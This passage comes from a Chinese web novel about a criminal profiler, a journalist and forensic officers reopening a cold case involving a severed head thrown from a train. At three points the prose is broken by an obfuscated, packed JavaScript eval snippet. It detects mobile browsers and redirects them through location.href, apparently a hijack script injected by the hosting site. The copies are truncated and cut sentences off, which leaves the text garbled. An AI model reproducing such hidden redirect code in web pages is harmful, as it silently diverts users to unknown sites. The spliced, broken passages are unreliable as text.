“起码要逮捕到犯罪嫌疑人,证据链固定完备并做一审判决后,才原则上可以向公众披露。”刘明城显然有备而来,答得很明确。 听上去可真是遥遥无期啊,但这也给了章弥真极大的驱动力。于是她很干脆地刷刷签下了自己的名字。 刘明城见状笑了,清了下嗓子道:“关于铁道抛颅案,我已经请示过王副厅,领导的意思是,案件如有新进展,便可以正式重启。” “意思是……现在暂时不能重启?”秦梓需虽然早有心理准备,可难免还是有些失望。 “不重启不代表不调查,只是不会有太多的资源倾斜向咱们。秦老师,你放心,人员会给你,经费我也会拨给你,但都比较有限,我希望的是能尽快获得新进展,你们在座四位,是先头军。这二位,你们都认识过了吗?” “是的,刘痕检,李法医。”秦梓需应道。 “她们会协助你办案,这两位都是刑技中心经验丰富的办案能手。”刘明城道。 刘雪莹这会儿终于意识到情况不对,笑容略有些僵硬,李之枚面色已有些无奈了。 刘明城再次看了一眼章弥真,随即目光转回到秦梓需身上,笑问:“我很好奇啊,章老师和你是初中同学?” “是的。”秦梓需点头。 “那你打算让章老师帮你查些什么呢?”刘明城问。 “查一些公安系统查不到的人际关系,毕竟铁道抛颅案这么多年过去了,尸源仍然没有查清,足以证明此路不通。”秦梓需道。 章弥真心道:真看得起我,我有这本事吗? “你打算从哪里查起?” “无非两个出发点,一是查被害人的身份。我个人认为这两起案子既然有可能关联,我们可以从陈君梅(即陈老师本名)的个人履历查起,查她自出生到现在,深度接触过哪些人,哪些人有可能在她去世后,专程到胥城来找她。 “二则是查嫌疑人的身份。就从当年那家补习机构的老师和学生查起。”秦梓需道。 “陈君梅的情况,你应该有查过吧?没有发现吗?”刘明城问。 秦梓需摇头,无奈地轻轻叹息:“我认为她的情况,公安并非完全掌握。所以我怀疑,还有一些公安没法查到的东西。这点,还得靠章记者来查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997403|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章弥真后背一紧。 “关于第二点,你打算怎么查?”谷道全问。 “被害人去那家补习机构,应该是有明确目的性的,无非是拉名单,一个一个排查关系网。”秦梓需道。 刘明城沉吟了片刻,看向身旁的谷道全,二人交换了一下眼神,似是对此也不大抱有希望。 谷道全道:“补习机构的老师、学生的名单,当年是保留了,排查了,没有可疑人员。这些人的行踪轨迹都非常固定,绝大部分都是附近居民,没人在案发前去过列车上,居住条件也极难犯案,且他们与被害人之间毫无瓜葛,根本没有杀人动机。” 秦梓需没有反驳他,此时她从老谷身上确认了当年公安确实没有查教师、学生,因为直接从补习机构排除可能性了。 她道:“两条腿走路,查人际关系之外,还必须重新检查当年的生物检材和那个篮球包,这件事必须要做。” “当年能查的都查了,这一次打算从哪里切入?” 秦梓需看了一眼不远处的刘雪莹,道:“我听说最新的侦查手段里,有一种稳定同位素追踪,可以通过骨骼中的锶同位素分析死者生前长期居住地,误差半径约50公里,对吗?” 刘雪莹倒吸一口凉气。 刘明城道:“你说的这个方法我确实知道,去年部里刚发布《法医人类学技术规范》,将锶同位素分析列为‘疑难尸源鉴定推荐方法’。但是,目前全国的锶同位素数据库还没完全建立起来……小刘,锶同位素追踪你能做吗?” 刘明城向她投去探寻的目光,刘雪莹忙摆手道:“这个我肯定做不了,这需要国家级实验室来做,起码是要送到部里的刑技中心去做。” “如果能送过去,出结果需要多久?”秦梓需追问。 “起码三周,一般是三到六周。这还不算排队的时间,现在全国应该也就三家实验室能做。”刘雪莹道。 刘明城眉头紧皱,死死盯着屏幕一会儿,终于拍板道: “好,我会和领导商量,向上打申请,我尽量帮你们申请到。” 这个情况已经比秦梓需预想得要好不少了,上级愿意出力,总好过她独自一个人跑断了腿。若能由此确定被害人生前长期生活的地区,那么排查她的身份应该就能有更大的突破。 刘明城道:“关于案情的细节,小刘和李法医还不是特别清楚,你再和她们讲一遍吧。正好我和老谷也再听一遍,你中途有什么疑问,也可以问老谷。” “好。”秦梓需将自己的pad拿出来,投屏到会议室的显示屏上,再次讲述案情。 章弥真也跟着被迫又听一遍,不过这一回她发现多出了很多的细节。比如秦梓需给出了陈老师一家五口的验尸结果。 “陈君梅距离爆燃点最近,她的尸体被炸碎了,破坏严重,且被压在塌方的楼板下,各方面遭受了不同程度的损伤,照片我就不放了,一会儿我会传给李法医。尸块已经没有保存了,只能依靠当年现场留下的一手资料来做判断。 “陈君梅的丈夫马军是被冲击波击晕后窒息而亡,后尸体被火焰吞没,重度烧毁。 “马媛媛和她的祖父马程、祖母潘秀丽三人是因楼板坍塌,从二楼坠落,摔晕过去后窒息而亡,然后烈火焚身。 “这个案子的主要疑点就在于陈君梅当晚的异常行动,我们必须解释她当晚到底为什么会出现在厨房之中,爆炸究竟是否是她引发的。此外,关于后门斜坡上留下的这个帆布鞋脚印,也是重要线索,不可忽视。” 秦梓需说完后,看了一下刘明城和老谷的脸色,二人都凝眉望着屏幕沉思,看来确实开始重视起爆燃案中刑事案件的可能性。 秦梓需接着讲述铁道抛颅案,章弥真在她的这一轮叙述中,知晓了当年警方是如何排查列车的细节。且老谷也跟着补充了很多当年的侦查细节。 11.第十一章 警方首先通过包裹上的土壤、草籽痕迹、包裹附近地面上的痕迹、头颅之上的撞击点,计算出了头颅坠落时的运动轨迹,确认这个包并非是有人放在铁道旁,而确实是从列车上抛下的。 接着排查嫌疑人所在的列车。铁道巡查间隔2小时,警方首先将包出现前2小时途径那段铁路的12趟列车找到。其中有5趟货车,7趟客车。 货车好排查,因为都是集装箱式货车,装卸前验货,外来人进不去,进去了也出不来,无法抛尸。 车上拢共7个人——2名机车乘务员,也就是司机和副司机。1名车辆乘务员,1名列车长,3名货运员。有没有带包,带了什么包,中途有什么动作,都一清二楚,很快就排除了嫌疑。 7趟客车之中,有4趟都是窗户不能打开的动车组,根本无法抛尸。3趟是有部分窗户可以打开的25K型单层列车。 所以排查对象就集中在这3趟列车之中,抛颅点此前的站点都有可能是凶手上车的地方,因而当年警方一共查了8个站点,要到了这三趟列车售卖出的所有车票记录,但这些信息与身份并不关联,只是车次、座位号、优惠票类型、出发/到达站点的记录。 这些记录的数量达到了十分惊人的5000多人的程度,警方的排查工作做得非常困难,哪怕联系到了所有涉及省市的警力,紧急对沿线各个站点进行了拦阻巡检,将可疑的那三趟车仔细查了个遍,尽量将座位号与乘客身份一一对应上,并排除掉明显不符合凶手画像的人员,比如年迈的老人、年幼的孩子、腿脚不方便的残疾人和盲人等。最终人数依然高达上千人,且这上千人中相当一部分只有车次、座位号的信息,全无身份信息。 “当时真的是跟凶手赛跑抢时间,案发后,各级的反应都特别快,立刻就开始拦截列车突击检查,但还是来不及啊,距离案发前经过的最近一趟列车也已经快到最终站了。中途经过了非常多的站点,凶手都有可能下车。所以……我们实在是不能肯定现在这份上千人的名单,到底是不是漏掉了凶手。”老谷挠着自己所剩不多的发顶纠结道。 “抱歉我打断一下。”法医李之枚出言道,众人的目光都看向她,“我觉得咱们死盯着这份名单没有多大意义,信息量太少了,价值不大。刚才秦老师说得对,要查的话,得从与被害人明确产生关联的地方查起。” “你也认可查那家补习学校?”刘明城问。 李之枚看上去性格直率,有话直说:“是的。还有就是,我在疑惑一个问题,凶手砍下被害人的头颅另外抛弃,身体他到底是怎么处理的?是分尸了还是整体埋葬了?这个问题很关键,所以寻找尸源最重要。” “这不是查不到嘛。”老谷无奈摊手道。 秦梓需这时道:“我认为多半是埋葬了,而不是随意抛弃,否则早该有发现。如果要埋葬,分尸的意义不大,凶手砍掉头颅、煮熟后抛弃的意图多半只是想要给警方的调查制造困难,避免尸体被发现后,警方轻易辨认出被害人的身份,从而顺藤摸瓜找到他。 “我认为凶手处理尸体的能力不足,他大概只能处理掉头颅,哪怕砍掉头颅,也很费劲。关于分尸工具,当年法医给出的判断是家用砍肉刀,刀子不算锋利,颈部断面有不少软组织撕裂和骨骼碎片,有多次砍劈的痕迹。 “此外,头颅很可能是被高压锅煮熟的,凶手还加入了白醋进行烹煮,从DNA链断裂的程度判断,烹煮的时间大概不会超过2个小时,虽然造成了相当程度的破坏,但仍然有一部分骨髓内部的DNA被保留了下来。 “这意味着,凶手很可能没有足够的时间去处理尸体。 “所以我的初步判断是,被害人的身体可能埋葬在一个容易被发现的地方,并非真正人迹罕至的深山老林。凶手很可能当年没有处理身体的能力,而他也许并不独居,因而没有一个足够隐蔽的空间来处理头颅,只能紧紧张张地利用同居者不在的时间,尽己所能地将头颅处理后拿出去丢掉。” 李之枚看上去若有所思,她似乎比较认同秦梓需的判断,并已经顺着她的想法继续思考下去。而本有些抗拒的刘雪莹已经做了两页笔记,记得很认真,她已经被案情完全吸引,陷入了深度思考中。 这个案子前所未见,犯下此案的凶手很可能是个十分罕见的高智商罪犯。在如此缺乏线索的情况下如果能破获,莫说功劳,本身的成就感就是非凡的。刘雪莹其实刚工作不满5年,还是个新人,这次居然能被安排到这样的任务中,她感觉自己一生不可错过的机会终于来了。 她二人兴奋起来了,但章弥真却很不舒服。 秦梓需如此仔细地描述凶手处理头颅的过程,让她感到胸口滞闷。那是一种可称之为恶寒的感觉,一个现代人类怎么可以如此丧心病狂地将同类的头颅放在锅里烹煮,难道他没有丝毫的同理心吗?这是返祖吗? 她虽不知道凶手是谁,却已然从对方的身上感到了十足的蛮荒气息。 自案情分析开始以来一直沉默的章弥真终于开口说话了: “你说当时他没有时间处理身体,那后来呢?他会不会等有能力了,再去转移那具身体?否则既然埋在一个容易被发现的地方,为什么到现在还没有被发现呢?” 秦梓需点头:“你提的这个想法确实有可能,而且可能性还不小。” “这就麻烦了……”老谷下意识摸口袋,想拿烟抽,但看在场这么多女同志,他到底还是把手缩了回去。 “确实麻烦了,如果他有余力去处理剩下的身体,很难说现在身体还能不能找到,也许已经被烧成灰了。”刘明城叹息道。 大概是见大家沉默不语,士气低迷。刘明城一转语气,鼓励道:“最坏的情况大家心里有数就行,我们该查的事儿还是要一步步查,无论如何,穷尽所有的手段,也要把这个穷凶极恶的罪犯抓住,让他伏法!” 他转头看向李之枚和刘雪莹,道:“案情,秦老师都交代清楚了,你们俩还有没有什么问题?没问题的话,从今天这个时刻起,你们就跟着秦老师工作,完成重启本案的先期调查。” “我没问题。”李之枚给出很肯定的答复。 刘雪莹也立刻表决心道:“我也没问题。” “秦老师,你有没有要问老谷的问题?”刘明城又看向秦梓需,问道。 “不知道谷警官有没有详尽的铁道图,最好是当年查过的铁道线路都能标注出来。我这里没有这方面的资料。”秦梓需道。 这回老谷很干脆地道:“没问题,一会儿我就能调给你。” “我暂时没有其他的问题了。”秦梓需道。 “好,那先散会,老谷…你先带章记者去信息处,给她安装一下蓝信,然后你们四个人拉个群,随时保持联系。另外,秦老师你们跑案子,市局给你们出车,不用你们自己多花交通费。餐费、住宿费我们也给报,发票开来就行。有什么困难就和我们说,别太客气了。”刘明城道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005116|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “太好了,谢谢您。”秦梓需感激道。 谷道全带着章弥真先行离去,刘明城让李之枚和刘雪莹先行一步回刑技中心,给秦梓需、章弥真安排临时办公位,同时办理临时门禁卡和工作证。 待会议室里人都走光了,刘明城神情严肃下来,望着秦梓需,缓声道: “老张年初走的时候,我在胥城督办案子,实在太忙了,去北京就呆了一天,很遗憾没多去陪陪他的家人。等今年冬至,我应该能得空,去给老张扫墓去,顺便告诉他破案的好消息。” “承您吉言。”秦梓需露出微笑。 刘明城感叹:“他有个出色的徒弟,秦老师,说句心里话,我很佩服你。像你这样的人,现在真的不多了。” 秦梓需有些感动,也有些尴尬,一时不知该说什么才好。 刘明城笑笑,他早就看出来秦梓需不善交际,为了不让她太难过,于是道: “走吧秦老师,我带你去四处转转,认认门。我在这待了也有半年了,也算熟门熟路了,哈哈。” 秦梓需忍住没问刘明城到底在胥城督办什么案子,她收拾东西,起身跟着他离开会议室。二人并行于走廊上,刘明城问: “你和你师傅这性子可真像,秦老师,你会画像吗?” “会,但我毕竟是二十多岁才入门,天赋不够,后天锻炼也不足,实在比不上师傅。不过,我更擅长三维形态测量,那是我和师傅研发的模型。”秦梓需道。 刘明城感叹:“是啊,科技发展真是突飞猛进,以前想都不敢想的事,现在都能实现了。” 秦梓需道:“但还是师傅手绘的画像更有灵魂和神韵,那种东西,是计算机模拟不出来的。真是让人一眼就好像看到了活人似的。他老人家不仅仅是神笔马良,更是心理学大师,我差得远了。” “那你觉得老张复原的那张画像,有没有问题?”刘明城问。 “肯定没有问题,不然当年的目击证人不会看到画像后就立刻认出来了。” “但我真的很纳闷,为什么就没有吻合的失踪记录呢?画像已经发给全国公安协查了,难道死者没有家人朋友吗?”刘明城看来被这个问题也困扰很久了。 “又或者,记录丢失了。”秦梓需道。 刘明城一时没说话,他刷卡,带秦梓需进入了信息中心的安全门。迎面走来一位年轻男警官,陪着一位背着电脑包、戴眼镜的年轻男子,刘明城认出那年轻男子来,喊道: “咦?卢工,你来了啊。” “你好,刘总,我来定期检修,还有给信息处处理一下网络问题。”年轻男子扶了下眼镜笑道。 “最近系统不稳定啊,你别急着走,我那里的网络好像也有问题,小李,你带卢工去我办公室,帮我看一下。”刘明城道。 “好的刘总。卢工,请跟我来。”那位姓李的年轻男警官应道,然后带着背电脑包的年轻男子出了安全门,往一般办公区而去。 刘明城见秦梓需扭头看那二人,解释道:“那是网络工程师,专门负责帮市局运维系统的,省厅那里也是他们公司负责。最近服务器被境外黑客攻击了,公安系统一直很不稳定。” “境外黑客攻击?”秦梓需挑眉。 “是啊,这事儿……保密。”刘明城做了个下压的手势,这个话题便揭了过去,轮到了他这个层级的人出马,看来这事儿不是小事。 秦梓需眸中流露出若有所思的光。 12.第十二章(投雷加更No.2) 章弥真觉得市局信息中心乱哄哄的。这里有一块好大的、占据了一整面墙的大屏幕,有无数屏幕拼接其上,展示着不同的内容,同时还能协同展示同一个画面。 这里摆着一排排的电脑,看上去就像是学校的机房。好多人在这里忙来忙去,在每一台电脑前调试着什么,她不大能看懂这些,只感觉好像是系统出了什么问题。 老谷带她找到了一位年轻的技术员,交代清楚情况后,他道一声还有事要忙,就离开了。技术员开始帮章弥真安装软件。 章弥真从前只听说过警方查案沟通用的都是内部软件,今天终于知道这玩意儿叫做蓝信,是个封闭的警务平台,一般智能手机都能安装,但需要管理员设置权限。 章弥真安装蓝信后,被赋予了访客权限,她无权查看任何内部信息,除非有人给她发邀请。 正忙活着,刘明城带着秦梓需找来了。刘明城直接在蓝信里建群,将她俩和刘雪莹、李之枚都拉了进去,群名为“050831”,完全是以她们马上要着手查的这起铁道抛颅案的案发时间命名的。 看上去很不正式的样子,章弥真内心暗暗吐槽。 “章记者,实在麻烦您了,本来是我们公安该干的活,结果还得靠您。”刘明城开始说些客气的场面话。 章弥真笑道:“您放心,我一定全力以赴。” “您这次帮了大忙,后续如果有机会,咱们一定再合作。”刘明城道。 章弥真眼前一亮,看来往后不愁报道素材了,没什么比和官方建立起良好关系更重要,这一趟她就算啥也没查出来,也算是不小的收获。 恰好此时,有一位男警官在门口喊刘明城:“刘总!” 刘明城知道是急事,转头对秦梓需和章弥真道: “实在不好意思,我还有急事要处理。你们一会儿去刑技中心,临时办公位已经安排上了。那个…小宋,你帮个忙,送她俩进刑技中心。” 交代完,刘明城就急匆匆小跑着离去,临走时晃了晃手机:“有事就蓝信联系!” 啥事这么着急忙慌的?章弥真感觉警察简直比她们记者还要忙。 “不好意思,最近咱们遭到了黑客攻击,我们给系统做了一次升级,还撤换了一些设备。刘总这些日子一直在忙这事儿呢。”那位被称作“小宋”的技术员解释了一句,“您二位跟我来吧。” 章弥真嗅到了新闻的气息,她扭头看秦梓需,秦梓需竖起食指立在唇上,示意噤声保密,章弥真顿感无奈。啥啥都要保密,真没劲儿! 小宋带她俩出了信息中心,穿过走廊,对面就是刑技中心的安全门。两个安全门中央是通往一般办公区的走廊,两条走廊交叉成T字型。 “这门对门,各占半壁江山啊,挺有意思。”章弥真道。 “不能说是各占半壁江山,咱们信息处和刑技中心算是双剑合璧,公安破案,就靠这两把利剑了。”小宋是个随和的人,笑呵呵应道。 “会说话!”章弥真夸道。 秦梓需其实挺想打听一下境外黑客的事,但终究还是忍住了。这毕竟不关她的事,她还是做好自己分内的事吧。 小宋刷开了刑技中心的安全门,将二人让进来后,便告辞离去。章弥真一进来就嗅到了一股古怪的化学药水的味道。 她登时脸色微微发白,心想不会看到什么泡在福尔马林里的人体标本吧。 秦梓需一眼看穿她心思,笑道:“放心,法医不在这里解剖,这里是做实验的地方。” “器官……还是有的吧。”章弥真小心翼翼确认道。 “有是有,你害怕吗?” “不怕,又不是没看过猪腰子猪心,反正都差不多。”她故作镇定。 秦梓需:“其实我本来想说你可以去对面办公的,毕竟你是记者嘛,干的活也都是搜集情报,信息处更适合你。” “是吗,还能这样?”章弥真立刻来了兴致,言语中透露出的惊喜根本掩饰不住。 “不能,哈哈……”秦梓需绷不住笑出声来。 “你这个家伙!”章弥真反应过来,立时憋红了脸,气得抓着她的衣领来回摇晃,恨不能揍她一顿。 “哈哈哈……”虽然被晃得脑花都要摇匀了,秦梓需还是笑得乐不可支。章弥真真是个有趣的人,有她在,秦梓需感觉自己的抑郁倾向都淡去了。 章弥真深呼吸,说服自己不要和秦梓需计较。秦梓需却已经迈步往里面去了,她只能不情不愿地跟上。 “喂!我一直很好奇一个问题,你的名字为什么叫梓需?好奇怪的名字。”章弥真很突兀地问了一个秦梓需没意料到的问题。 秦梓需笑道:“我妈怀我的时候,起初几个月身子反应很大,她请了长假回外婆家养胎。外婆家门口有一棵梓树,我妈说那棵梓树的气味让她非常安心,身子很快就没有过度反应了。我外婆说她其实就是想家了,连带着觉得肚子里的我也和家乡亲。 “《诗经》云:‘维桑与梓,必恭敬止。’还有□□的诗句:埋骨何须桑梓地,人生无处不青山。‘桑梓’自古以来都是故乡的代指,所以梓这个字是我妈选的。 “需,来自于六十四卦的需卦。寓意耐心等待,顺应天道,伺机而动。这个字是我爸选的,他在我妈怀孕的那段时间一直在研究易经,想给我起个高深的名字。他觉得需这个字特别高深,有种东方既白、潜龙在渊的美感。 “他俩吵半天,都觉得自己选的字作为单名是最好的。最后我都出生了还没吵出结果,无奈之下,我爸让了我妈,两人选上的字合一起,我妈选的字排前面,我爸选的字排后面,我就叫梓需了。” 章弥真没想到她的名字来源还有这么复杂的门道,但仔细咂摸一下,又觉得这名字确实起得挺好: “那你的名字岂不就是,回到故乡,耐心等待,伺机而动?挺有意思,你现在确实回到家乡了呢。你爸妈给你起的名字,暗合了你未来的人生际遇。” 秦梓需回头看她,道:“那你的名字也挺符合你这个人的。弥真,彰显真相,很适合作为新闻记者的名字。” “哈哈,那是,我表里如一,人如其名。”章弥真非常厚脸皮地自夸道。 正插科打诨,走廊那一头传来了呼唤声: “喂~~在这里。” 是刘雪莹在招手呼唤她们。 二人于是过去,进入了走廊尽头的一间办公室,刘雪莹、李之枚已经在这里张开了两张折叠桌,布置了折叠椅,拉了电源线,足够秦梓需和章弥真移动办公了。 “还缺什么,我们俩来添置。”李之枚手里拿着抹布,问道。 “没事,足够了,谢谢你们。”秦梓需道。 “秦老师,您别客气,以后您就是咱们的领导了!”刘雪莹笑道。 章弥真内心嗤了一声,心道:老娘才不听她领导呢。 李之枚看向章弥真,问道:“章记者,您还需要点什么?千万别和我们客气。” “别,李法医,您叫我小章就好,叫章记者怪生分的。”章弥真忙道。 “那我喊您真姐,您特别有大姐大的范儿。”刘雪莹也插嘴进来道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011826|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦梓需看着她们三人聊开了,互相熟悉、确认称呼,她有点插不上话,默默地走到折叠桌边,放下自己的包。她一个上午都没有喝水休息,这会儿感到又渴又累,从包里取出矿泉水来,灌了几口。 “秦老师!您爱喝茶吗?我这儿有大红袍和生普,您想喝哪个?”刘雪莹见她喝水,忙出声道。 “啊,我……”秦梓需一时间竟不知该如何选择。 “嗨,啥茶都行,先泡上再说。”李之枚催促道。 刘雪莹赶紧去准备大壶,李之枚又拉了两张椅子,和章弥真一起围着秦梓需坐下。 “秦老师,咱们下面该怎么查?”李之枚就像学校里最乖最积极的学生似的,盯着秦梓需真诚发问。 秦梓需环视了整个办公室,不答反问:“这里是你们俩的办公室?” “不是的,这里是痕检的办公室,小雪和另外三位痕检员共用。我的办公室在法医室那里。”李之枚解释道。 “另外三位痕检员呢?”秦梓需奇怪问。 “让他们暂时搬走了,反正痕检员平时工作不是在出现场,就是在实验室,到办公室里的时间不多。”李之枚道。 刘雪莹将泡好的茶端了过来,先给秦梓需沏了一杯,又给章弥真沏了一杯,最后才捧着她自己的茶杯,围坐下来。 秦梓需心想,刘总点这两位给她打辅助,应该是有他的道理的。她想了解一下两人的能力、性格如何,然后再判断该如何与她们合作。 秦梓需问李之枚:“李法医,你对植物学的了解有多少?” “法医植物学吗?这是我的专长。”李之枚非常自信地回道。 秦梓需恍然大悟,刘总点兵果然有他的道理。 她看了一下表,道:“这会儿快中午了,等一会儿吃完午饭,我希望你就开始着手做生物检材和花粉的检测。当年曾经从包上提取到一种花粉,但碍于技术条件,无法判断植物类型和分布地区,你的任务就是搞明白这一点。还有就是,尽可能在那头颅上找到更多的线索,这非常重要,在锶同位素的检测结果没出来之前,你的工作是重中之重,决定我们能否找到案发地点。” 李之枚严肃点头:“头颅在尸库里保存,花粉应该在痕检物证库里,我下午就带花粉去尸库一趟。” “那我呢?”刘雪莹迫不及待地问。 “篮球包就交给你了,你重新做一下这个包的化验,我想知道这个包上除了花粉,还留下了哪些痕迹,我需要找到可以与花粉进行交叉比对的线索。”秦梓需问。 “好的。” “我希望你吹毛求疵,去找非常细小的线索,什么样的都行,力求突破前人的发现,但凡有新东西,一定事无巨细全部记下来。”秦梓需道。 “那您找对人了,小雪做事就是精益求精,心细如尘,吹毛求疵,但动作太慢了,经常被人嫌弃。”李之枚笑道。 “哎呀枚姐!”刘雪莹被揭短,一时害臊,阻止李之枚继续说。 “慢点没事,我要的就是精益求精。这个案子能否突破,全看你们俩手头上的工作能不能有新发现了。”秦梓需笑道。 “那我俩呢?我俩干啥?”章弥真问。 “下午我跟你走,你想怎么查陈老师,我听你的,给你打下手。”秦梓需捧起茶杯,吹了吹,抿了一小口。普洱很香,口舌生津。 “哦。”秦梓需突然捧了章弥真一下,让章弥真有些不大适应。她其实也没想好该怎么查陈老师,在同学群里直接问肯定不大好,思来想去,觉得还是得回一趟母校找线索。 13.第十三章 胥城中学的历史,几乎和这座城市的历史一般源远流长。胥城有三千年悠长的建城史,至今最内圈的主城区城市轮廓与春秋时期初建时依旧完全吻合。 而胥中所在的位置,曾经是春秋战国学宫所在,后又是州府书院所在,建国后胥中在此建校延续至今,硬要说也有三千年历史了。 这所中学本来是初高中合体的中学,在世纪初教改之际被拆分,初中部、高中部各自独立,高中部搬迁后改名为师范附中,成为了胥城一流高中之一,初中部仍然还叫胥城中学。 秦梓需驱车,带着章弥真一路从市局驱车来到胥中时,是下午两点。 秦梓需开的是章弥真的车,而她自己的坦克300已经还车了,由于领导已经答应给她出车,她打算省点钱,她本来就住在市局旁,车子也是在市局旁就近提的,还车倒不麻烦。 章弥真胃口不大好,中午在食堂吃饭,她没吃多少东西,午间有些委顿,精神头不足,秦梓需便主动提出自己来开车。章弥真窝在副驾闭目养神,看上去脸色有些苍白。 侦办恶性刑事案件,确实需要强大的心理素质。章弥真虽然是身经百战的媒体战士,到底不是刑警,她需要一个适应的过程。昨天她被刺激到了,食不下咽、睡不安寝,这会儿精神萎顿实属正常。 秦梓需从左口袋里摸出了两颗大白兔奶糖递给她:“吃点糖。” “嗯……谢谢。”章弥真接过,大白兔奶糖还带着秦梓需的体温,天气热,已经有些融化变形了。 她也并不嫌弃,剥开一个丢进嘴里慢慢含着吃。 秦梓需又从右口袋里摸出了一个提神棒,递给章弥真:“清凉薄荷,抹点在太阳穴和人中上,人会舒服很多。” 章弥真接过,吐槽道:“你哆啦A梦吗?专心开车,我没事。” “你被我拉下水了,我得照顾好你啊,不然良心难安。”秦梓需眸光观察着路况,嘴里轻声道。 “切,你少来,我是自愿的,这事儿是我想干,我不想干,你拉不动我。”章弥真嘴硬道。 谁上午还说被拉下水的来着?秦梓需不戳穿她,但内心充满感激。 胥中到了后,秦梓需出示了一下警官证,车子允许进入内部停车场。章弥真下车后,伸了个懒腰,环视了一下眼前熟悉又有些陌生了的校园。教学楼还是和过去那般,变化不大,这楼已经是30年历史的老楼了。远处的体育馆和操场重修了,显得更为现代化。 这会儿正好是课间,能看到穿校服的孩子们在操场和教学楼下的空地上玩儿。 章弥真突然对秦梓需道: “我这十多年没回来,怎么感觉学校好像变小了?” 秦梓需笑道:“那是因为你长大了。” “哈哈,那确实。” 大概是被校园的青春气息感染,章弥真的精神状态感觉好多了。二人并肩穿过教学楼中庭,迎着学生们投来的好奇目光,向校行政楼走去。 “秦老师,你们这样一直在学校里工作的人,是不是感觉从来没毕业过?”半道上,章弥真好奇问秦梓需。 秦梓需道:“我可不是一直在学校里工作的,我毕业后先考研读了犯罪心理学硕士,然后在一线干了三年,其中派出所实习了一年、刑侦队待了两年,后来回校读博,留校。主要是我遇到了好导师。” “哦,就是那位张鑫警官?”章弥真问。 秦梓需点头:“对,他那年刚拿了公安部的特殊津贴,被公安大学聘为博导。我会回校读博,就是因为他画了那张画像。我瞄准了要他当我的导师,这是查这个案子最快的捷径。” “那你考警察,包括读博,都是为了查当年的案子?”章弥真终于问出来了。 “对。我不入这个队伍,不会知道当年的案子到底是怎么回事。我一直为此努力,到刑侦队时才终于接触到当年案件的卷宗,知道了抛颅案受害者与陈老师之间的关系,然后才知道了我师傅的存在。”秦梓需道。 “那你师傅呢?这次你回来,是他的意思吗?” “我师傅……今年年初已经突发疾病过世了。”秦梓需道。 章弥真心头一震:“抱歉。” “没事,我这次是请了很久的长假,专程来查这个案子。也算是,了却我师傅的遗愿,解开我自己的心结吧。” 好强大的毅力和决心,目标明确,一步一个脚印地实现自己的目的,真是厉害……章弥真心中感佩。 她本来想着,活着的人为了死去的人把自己未来的一生搭进去,牺牲了可能会更好的前途,是不是不值得?但如今看来,这想法未免太过狭隘,太过自我为中心。 她不是秦梓需,不知道她的追求和理想是什么。道路都是自己选的,如果秦梓需一辈子能做好这一件事,给那些尘封在过去的人一个清白,将尚未伏法的恶魔抓住。那一切对秦梓需来说就是值得的。她走得如此艰难,却依旧如此坚定,足见这就是她的追求。 二人沉默地进入了行政办公楼。一进门就看到了公示栏,上面展示着去年的十佳教师,还有一些学校活动的照片。 章弥真有些感慨:“当年,陈老师的照片常年挂在这上面呢。” “是啊。”秦梓需叹息。 章弥真回身看向秦梓需道:“我记得管档案的冯老师,不知道这么多年过去了她还在不在学校工作了。当年她好像顶多也就三十来岁,这会儿应该还没退休。” “你居然记得管档案的老师?”秦梓需很惊讶。 “记得啊,当年我妈动过让我转学的心思,我跟着我妈找过她的。不过后来没转就是了。” “你记性真好。”秦梓需感叹,她从和章弥真重逢后,就有这样的感叹。在派出所里见面时,章弥真认出她的速度可比自己认出她快太多了。 “那是,我就是这么冰雪聪明,过目不忘。”章弥真再次厚脸皮自夸。但她确实近乎有过目不忘的本领,上学时从未被背诵困扰过,看过的东西都能轻松记得很牢固,尤其对文字非常敏感,阅读速度极快,记人脸的本事也是一绝。 秦梓需跟着她上了行政楼三楼,径直往档案室去。半途二人撞上了一个中年男性从走廊旁的办公室出来,见到二人后,中年男性主动出声拦住她们: “你们是做什么的?” 秦梓需直接亮出警官证,道:“我们有些事想查,想找一下学校管档案的老师。” 这中年男性有些惊讶,他道: “二位在我办公室稍等,我去汇报一下。”说着就把二人让进办公室。 秦梓需、章弥真抬头一看,原来这里是教务主任办公室。 “您是教务主任啊。”章弥真笑问。 “对对对,二位稍等,我去和校长汇报一下,很快就回来。”这教务主任大概是突见警察,有些太紧张了,一时间忘了自我介绍。 他走后,章弥真悄声对秦梓需道:“有个警官证可真威风,瞧你把人家吓的。我也想随时拿出来:我是警察,我有事要查,请你配合。”她粗声粗气地说着,手空举在身前,不知道在模仿谁。 秦梓需又被她逗笑了:“按理说,你现在确实是辅警了。” “切,也不给我个编制,连一毛钱工资都没有!真小气。”章弥真吐槽。 